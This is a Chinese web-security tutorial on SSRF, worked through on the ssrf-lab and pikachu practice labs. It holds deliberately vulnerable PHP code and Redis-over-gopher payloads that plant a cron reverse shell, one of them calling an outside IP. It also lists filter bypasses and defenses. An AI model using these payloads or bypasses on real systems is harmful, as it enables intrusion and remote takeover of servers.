WEB常见漏洞之SSRF(靶场篇)

简介: WEB常见漏洞之SSRF(靶场篇)

靶场地址:

    https://github.com/m6a-UdS/ssrf-lab
    https://github.com/zhuifengshaonianhanlu/pikachu

    0x01 概述

    SSRF 主要是由于一些危险函数与危险协议产生的。我们以 PHP 为例,

    列举一下这些危险函数

      file_get_contents()
      fsockopen()
      curl_exec()
      SoapClient

      危险协议

        file://
        gopher
        dict
        etc...

        0x02 SSRF利用方式

        主要分为两个方向,SSRF 利用相关的危险函数;SSRF 可利用的协议操作

        SSRF 利用相关的危险函数

        以 PHP 为例,说明一些可利用的危险函数

        1. file_get_contents() 与 readfile()

        file_get_contents这一函数是把 **传入的参数(变量)**写入字符串,当把 传参是内网文件的时候,会先去吧这个文件的内容读出来再写入,导致了任意文件读取,也就是信息泄露的一种。一般这种攻击也与目录遍历相结合。

        测试代码:

        // ssrf.php
        <?php
        $url = $_GET['url'];;
        echo file_get_contents($url);
        ?>

        2. fsockopen()

        fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个 Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定 url 数据的获取。该函数会使用 socket 跟服务器建立 tcp 连接,进行传输原始数据。fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())如果调用失败,将返回false。

        测试代码:

        // ssrf.php
        <?php
        $host=$_GET['url'];
        $fp = fsockopen($host, 80, $errno, $errstr, 30);
        if (!$fp) {
            echo "$errstr ($errno)<br />\n";
        } else {
            $out = "GET / HTTP/1.1\r\n";
            $out .= "Host: $host\r\n";
            $out .= "Connection: Close\r\n\r\n";
            fwrite($fp, $out);
            while (!feof($fp)) {
                echo fgets($fp, 128);
            }
            fclose($fp);
        }
        ?>

        构造ssrf.php?url=www.baidu.com即可成功触发 ssrf 并返回百度主页,这种更像是一种重定向 (302) 之类的,没什么用。

        3. curl_exec()

        curl_init(url) 函数初始化一个新的会话,返回一个 cURL 句柄,供curl_setopt(),curl_exec()和curl_close()函数使用。

        测试代码:

        // ssrf.php
        <?php 
        if (isset($_GET['url'])){
          $link = $_GET['url'];
          $curlobj = curl_init(); // 创建新的 cURL 资源
          curl_setopt($curlobj, CURLOPT_POST, 0);
          curl_setopt($curlobj,CURLOPT_URL,$link);
          curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
          $result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
          curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
          // $filename = './curled/'.rand().'.txt';
          // file_put_contents($filename, $result); 
          echo $result;
        }
        ?>

        构造ssrf.php?url=www.baidu.com即可成功触发 ssrf 并返回百度主页:

        但是攻击方式不止这么一点,其实是可以通过其他方式提高curl_exec()这里的攻击危害的。

        最常见的是通过file、dict、gopher这三个协议来进行渗透

        curl -vvv 'dict://127.0.0.1:6379/info' 
        curl -vvv 'file:///etc/passwd' 
        # * 注意: 链接使用单引号,避免$变量问题 
        curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

        0x03 SSRF-Lab 靶场

        SSRF的危险协议

        可利用的常用协议:

        • file 协议结合目录遍历读取文件
        • gopher 协议打开端口
        • dict 协议主要用于结合curl攻击
        • http 协议进行内网探测
        1. file 协议利用

        基础 payload:


        file:///etc/password  # file:// 之后可以接任意文件

        结合GET请求(实战渗透常见攻击姿势) payload:


        http://ip/exp.php?url=file:///etc/password

        在 SSRF-Lab 靶场中直接输入基础的payload(不用GET方式传参)即可

        2. dict 协议利用

        使用 dict 协议,dict://ip//info可获取本地redis服务配置信息

        注:SSRF-Lab 靶场完成此操作需要另外安装 redis-server

        3. gopher 协议利用

        首先需要了解一下常见攻击 Redis 命令,然后转化为 Gopher 可用的协议

        redis-cli -h $1 flushall
        echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1\n\n"|redis-cli -h $1 -x set 1
        redis-cli -h $1 config set dir /var/spool/cron/
        redis-cli -h $1 config set dbfilename root
        redis-cli -h $1 save
        //redis-cli查看所有的keys及清空所有的数据

        这是常见exp,利用时根据需求更换 IP:Port 即可,更改为适配于 Gopher 协议的 URL


        gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0

        URL解码为:


        gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit

        0x04 皮卡丘靶场

        fsockopen()

        fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个 Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定 url 数据的获取。该函数会使用 socket 跟服务器建立 tcp 连接,进行传输原始数据。fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())如果调用失败,将返回false。

        测试代码:

        // ssrf.php
        <?php
        $host=$_GET['url'];
        $fp = fsockopen($host, 80, $errno, $errstr, 30);
        if (!$fp) {
            echo "$errstr ($errno)<br />\n";
        } else {
            $out = "GET / HTTP/1.1\r\n";
            $out .= "Host: $host\r\n";
            $out .= "Connection: Close\r\n\r\n";
            fwrite($fp, $out);
            while (!feof($fp)) {
                echo fgets($fp, 128);
            }
            fclose($fp);
        }
        ?>

        构造ssrf.php?url=www.baidu.com即可成功触发 ssrf 并返回百度主页:

        SSRF(file_get_content):利用file_get_content("path")利用传递的参数,通过file参数访问内部资源,或者跳转到其他服务器页面

        测试代码

        // ssrf.php
        <?php
        $url = $_GET['url'];;
        echo file_get_contents($url);
        ?>

        上述测试代码中,file_get_contents() 函数将整个文件或一个url所指向的文件读入一个字符串中,并展示给用户,我们构造类似 ssrf_fgc.php?file=../rce/rce.php 的paylaod即可读取服务器本地的任意文件(这里使用windows系统为例)

        curl_exec()

        curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用

        测试代码

        // ssrf.php
        <?php 
        if (isset($_GET['url'])){
            $link = $_GET['url'];
            $curlobj = curl_init(); // 创建新的 cURL 资源
            curl_setopt($curlobj, CURLOPT_POST, 0);
            curl_setopt($curlobj,CURLOPT_URL,$link);
            curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
            $result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
            curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
            // $filename = './curled/'.rand().'.txt';
            // file_put_contents($filename, $result); 
            echo $result;
        }
        ?>

        0x05 一些常见的绕过姿势

        1. @ 绕过

        URL格式为:


        [协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]

        下面是两种访问方式(效果一样,因为解析的本来就是 @ 后面的服务器地址):

        方式一、


        > <a href=”http://baidu.com@1.1.1.1″”>http://baidu.com@1.1.1.1

        方式二、


        > http://1.1.1.1

        2. 进制绕过

        这里可以参考 SSRF-Lab advance 的第一题

        源码

        if (preg_match('#^https?://#i', $handler) !== 1) {
        echo "Wrong scheme! You can only use http or https!";
         die();
        } else if (preg_match('#^https?://10.0.0.3#i', $handler) === 1) {
         echo "Restricted area!";
         die();
        }

        源码解读:通过正则对输入的 IP 进行了过滤,IP 地址是由四个字节组成的,一旦包含了小数点,就必须考虑到大小端表示,因为这个会影响 IP 地址的解析。不过好在所有的网络地址都是大端表示法,只需要注意这一点即可,下面我们介绍 IP 地址的表达方式。

          字符串:      10.0.0.3
          二进制:      00001010 . 00000000 . 00000000 . 00000011
          十六进制:    0A.00.00.03
          整数:        167772163

          这些表达方式都能被curl命令解析为正确的IP地址,之后如果我们要访问的IP地址被简单粗暴地过滤了就可以试试这种方法。除了上面的表达方式之外,还可以用 16 进制 0x0A000003 表示IP地址,还有一个很少人知道的绕过小姿势,就是用 8 进制代替 10 进制来表示 IP 地址。在计算机的世界里,一旦在20前面加个0就会变成8进制,比如 http://01200000003实际上还是 http://10.0.0.3上面两个表达方式,PHP 的 curl 模块能解析出来

            十六进制:http://0x0A.0x00.0x00.0x03
            八进制:     http://012.00.00.03八进制溢出:http://265.0.0.3

            3. 句号绕过 (替换 ".")

            4. xip.io 和 xip.name 绕过

            泛域名解析,无需配置,将自定义的任何域名解析到指定的IP地址。假设你的IP地址是10.0.0.1,你只需使用 前缀域名+IP地址+xip.io 即可完成相应自定义域名解析

              10.0.0.1.xip.io # 解析到 10.0.0.1
              www.10.0.0.2.xip.io # www 子域解析到 10.0.0.2 mysite.10.0.0.3.xip.io # mysite 子域解析到 10.0.0.3 foo.bar.10.0.0.4.xip.io # foo.bar 子域解析到 10.0.0.4

              xip.name 在使用上与xip.io一致

                10.0.0.1.xip.name # 解析到 10.0.0.1 
                www.10.0.0.2.xip.name # www 子域解析到 10.0.0.2 mysite.10.0.0.3.xip.name # mysite 子域解析到 10.0.0.3 foo.bar.10.0.0.4.xip.name # foo.bar 子域解析到 10.0.0.4

                5. DNS 重绑

                1.判定你给的 IP 或者域名解析后的 IP 是否在黑名单中

                2.若在,退出报错

                3.若不在,再次访问你给的 IP 或者域名解析后的 IP;执行后续业务模块

                思路:只需要有个域名,但是它映射两个 IP;同时设置 TTL 为 0,能方便两个 IP 即刻切换。

                效果类比:你访问 zxc.com这个域名,第一次解析的 IP 是 192.168.0.3;而第二次解析的IP是 127.0.0.1,如此一来即可进行 SSRF 攻击

                0x06 漏洞危害

                1. 扫内网
                2. 向内部任意主机的任意端口发送精心构造的Payload
                3. DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
                4. 对内网web应用进行指纹识别,通过访问默认文件实现
                5. 攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如struts2,sql注入等)
                6. 利用file协议读取本地文件等

                0x07 漏洞防御

                1.禁止跳转。
                2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
                3.限制请求的端口只能为Web端口,不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题。
                4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP),以防止对内网进行攻击。
                5.限制请求的端口为http常用的端口,比如 80、443、8080、8090。
                6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
                7.对DNS Rebinding,考虑使用DNS缓存或者Host白名单

                目录
                相关文章
                |
                9月前
                |
                安全 测试技术 程序员
                web渗透-文件包含漏洞
                文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。
                1348 79
                web渗透-文件包含漏洞
                |
                9月前
                |
                存储 安全 前端开发
                Web渗透-文件上传漏洞-上篇
                文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
                2801 1
                Web渗透-文件上传漏洞-上篇
                |
                9月前
                |
                安全 中间件 应用服务中间件
                WEB渗透-文件上传漏洞-下篇
                本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
                703 1
                |
                9月前
                |
                存储 JavaScript 安全
                Web渗透-XSS漏洞深入及xss-labs靶场实战
                XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
                2722 1
                Web渗透-XSS漏洞深入及xss-labs靶场实战
                |
                9月前
                |
                安全 NoSQL Shell
                web渗透-SSRF漏洞及discuz论坛网站测试
                SSRF(服务器端请求伪造)是一种安全漏洞,攻击者可诱使服务端发起任意请求,进而探测或攻击内网系统。常用于端口扫描、访问内部服务、读取本地文件等。常见防御包括限制协议、域名和IP,但可通过302跳转、短地址等方式绕过。
                469 1
                web渗透-SSRF漏洞及discuz论坛网站测试
                |
                9月前
                |
                安全 程序员 数据库连接
                web渗透-CSRF漏洞
                CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者通过伪造用户请求,诱使其在已登录状态下执行非意愿操作。本文介绍CSRF原理、分类(站外与站内)、DVWA靶场搭建及防御措施,如同源策略与Token验证,提升安全防护意识。
                682 0
                web渗透-CSRF漏洞
                |
                8月前
                |
                算法 Java Go
                【GoGin】(1)上手Go Gin 基于Go语言开发的Web框架,本文介绍了各种路由的配置信息;包含各场景下请求参数的基本传入接收
                gin 框架中采用的路优酷是基于httprouter做的是一个高性能的 HTTP 请求路由器,适用于 Go 语言。它的设计目标是提供高效的路由匹配和低内存占用,特别适合需要高性能和简单路由的应用场景。
                615 4
                |
                12月前
                |
                缓存 JavaScript 前端开发
                鸿蒙5开发宝藏案例分享---Web开发优化案例分享
                本文深入解读鸿蒙官方文档中的 `ArkWeb` 性能优化技巧,从预启动进程到预渲染,涵盖预下载、预连接、预取POST等八大优化策略。通过代码示例详解如何提升Web页面加载速度,助你打造流畅的HarmonyOS应用体验。内容实用,按需选用,让H5页面快到飞起!
                |
                12月前
                |
                JavaScript 前端开发 API
                鸿蒙5开发宝藏案例分享---Web加载时延优化解析
                本文深入解析了鸿蒙开发中Web加载完成时延的优化技巧,结合官方案例与实际代码,助你提升性能。核心内容包括:使用DevEco Profiler和DevTools定位瓶颈、四大优化方向(资源合并、接口预取、图片懒加载、任务拆解)及高频手段总结。同时提供性能优化黄金准则,如首屏资源控制在300KB内、关键接口响应≤200ms等,帮助开发者实现丝般流畅体验。